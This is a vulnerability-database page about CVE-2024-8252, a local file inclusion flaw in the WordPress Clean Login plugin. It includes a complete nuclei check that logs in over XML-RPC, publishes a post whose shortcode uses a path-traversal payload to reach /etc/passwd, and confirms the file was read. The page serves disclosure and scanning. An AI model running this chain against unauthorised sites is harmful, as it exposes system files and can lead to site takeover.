HexBrain

Browse / CVEs / CVE-2024-8252

CVE-2024-8252· codection / clean-login· CWE-98

WordPress Clean Login <= 1.14.5 Authenticated (Contributor+) - Local File Inclusion

highseverity
8.8CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The Clean Login plugin for WordPress up to version 1.14.5 contains a path traversal caused by the 'template' attribute in the clean-login-register shortcode, letting authenticated attackers with contributor access include and execute arbitrary files, exploit requires attacker to have contributor or higher access level.

Impact

Authenticated attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full site compromise.

Fix

Update to the latest version of the plugin, above 1.14.5, to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/clean-login/readme.txt
Positive when: status_code == 200 and contains(body, "Clean Login") and compare_versions(version, "<= 1.14.5")
Send: POST /xmlrpc.php
Positive when: status_code_1 == 200 and contains(body_1, "<string>") and contains(body_2, "<param>")
Send: GET {{BaseURL}}/?p={{postid}}
Positive when: status_code == 200 and regex("root:.*:0:0:", body)

Run it with nuclei: nuclei -id CVE-2024-8252 -u <target>

The full check
id: CVE-2024-8252

info:
  name: WordPress Clean Login <= 1.14.5 Authenticated (Contributor+) - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    The Clean Login plugin for WordPress up to version 1.14.5 contains a path traversal caused by the 'template' attribute in the clean-login-register shortcode, letting authenticated attackers with contributor access include and execute arbitrary files, exploit requires attacker to have contributor or higher access level.
  impact: |
    Authenticated attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full site compromise.
  remediation: |
    Update to the latest version of the plugin, above 1.14.5, to fix the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/clean-login/clean-login-1145-authenticated-contributor-local-file-inclusion
    - https://plugins.trac.wordpress.org/changeset/3143241/clean-login
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-98
  metadata:
    max-request: 4
    verified: true
    product: clean-login
    vendor: codection
    shodan-query: http.component:"WordPress"
  tags: cve,cve2024,wordpress,wp-plugin,lfi,clean-login,authenticated

flow: http(1) && http(2) && http(3)

http:
  - id: version-detect
    method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/clean-login/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Clean Login")'
          - 'compare_versions(version, "<= 1.14.5")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /xmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <methodCall>
        <methodName>wp.getUsersBlogs</methodName>
        <params>
        <param><value><string>{{username}}</string></value></param>
        <param><value><string>{{password}}</string></value></param>
        </params>
        </methodCall>

      - |
        POST /xmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <methodCall>
        <methodName>wp.newPost</methodName>
          <params>
            <param><value><int>1</int></value></param>
            <param><value><string>{{username}}</string></value></param>
            <param><value><string>{{password}}</string></value></param>
            <param>
            <value>
            <struct>
            <member>
            <name>post_title</name>
            <value><string>{{randstr}}</string></value>
          </member>
          <member>
            <name>post_content</name>
            <value><string>[clean-login-register template="../../../../../../../etc/passwd"]</string></value>
          </member>
          <member>
            <name>post_status</name>
            <value><string>publish</string></value>
          </member>
          <member>
            <name>post_type</name>
            <value><string>post</string></value>
          </member>
        </struct>
        </value>
        </param>
        </params>
        </methodCall>

    extractors:
      - type: regex
        name: postid
        part: body_2
        group: 1
        regex:
          - '<string>(\d+)</string>'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1, "<string>")'
          - 'contains(body_2, "<param>")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?p={{postid}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from